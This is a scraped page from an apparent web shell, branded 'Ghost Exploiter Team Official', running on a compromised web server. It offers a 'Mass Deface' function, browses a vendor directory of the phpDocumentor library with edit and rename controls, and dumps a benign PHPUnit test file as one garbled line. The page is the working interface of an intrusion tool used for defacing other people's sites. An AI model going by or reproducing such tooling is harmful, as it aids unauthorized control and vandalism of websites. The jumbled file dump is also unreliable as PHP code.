Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpdocumentor
/
reflection
/
tests
/
integration
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Metadata
--
ren
PHP8
--
ren
data
--
ren
AsymmetricAccessorTest.php
1.77KB
edt
ren
ClassesTest.php
5.517KB
edt
ren
EnumTest.php
4.222KB
edt
ren
FileDocblockTest.php
2.495KB
edt
ren
MetadataTest.php
0.902KB
edt
ren
ProjectCreationTest.php
8.876KB
edt
ren
ProjectNamespaceTest.php
1.976KB
edt
ren
PropertyHookTest.php
6.052KB
edt
ren
<?php declare(strict_types=1); namespace integration; use phpDocumentor\Reflection\File\LocalFile; use phpDocumentor\Reflection\Php\ProjectFactory; use PHPUnit\Framework\Attributes\CoversNothing; use PHPUnit\Framework\TestCase; /** * Integration tests to check the correct working of processing a namespace into a project. * * @coversNothing */ #[CoversNothing] final class FileDocblockTest extends TestCase { /** @var ProjectFactory */ private $fixture; protected function setUp() : void { $this->fixture = ProjectFactory::createInstance(); } /** * @dataProvider fileProvider */ public function testFileDocblock(string $fileName) : void { $project = $this->fixture->create( 'MyProject', [new LocalFile($fileName)] ); $this->assertEquals( 'This file is part of phpDocumentor.', $project->getFiles()[$fileName]->getDocBlock()->getSummary() ); } public static function fileProvider() : array { return [ [ __DIR__ . '/data/GlobalFiles/empty.php' ], [ __DIR__ . '/data/GlobalFiles/empty_with_declare.php' ], [ __DIR__ . '/data/GlobalFiles/empty_shebang.php' ], [ __DIR__ . '/data/GlobalFiles/psr12.php' ], [ __DIR__ . '/data/GlobalFiles/docblock_followed_by_html.php' ], ]; } public function testConditionalFunctionDefine() : void { $fileName = __DIR__ . '/data/GlobalFiles/conditional_function.php'; $project = $this->fixture->create( 'MyProject', [new LocalFile($fileName)] ); $this->assertCount( 4, $project->getFiles()[$fileName]->getFunctions() ); } public function testGlobalNamespacedFunctionDefine() : void { $fileName = __DIR__ . '/data/GlobalFiles/global_namspaced_function.php'; $project = $this->fixture->create( 'MyProject', [new LocalFile($fileName)] ); $this->assertCount( 1, $project->getFiles()[$fileName]->getFunctions() ); } public function testFileWithInlineFunction() : void { $fileName = __DIR__ . '/data/GlobalFiles/inline_function.php'; $project = $this->fixture->create( 'MyProject', [new LocalFile($fileName)] ); $this->assertCount( 1, $project->getFiles()[$fileName]->getClasses() ); } }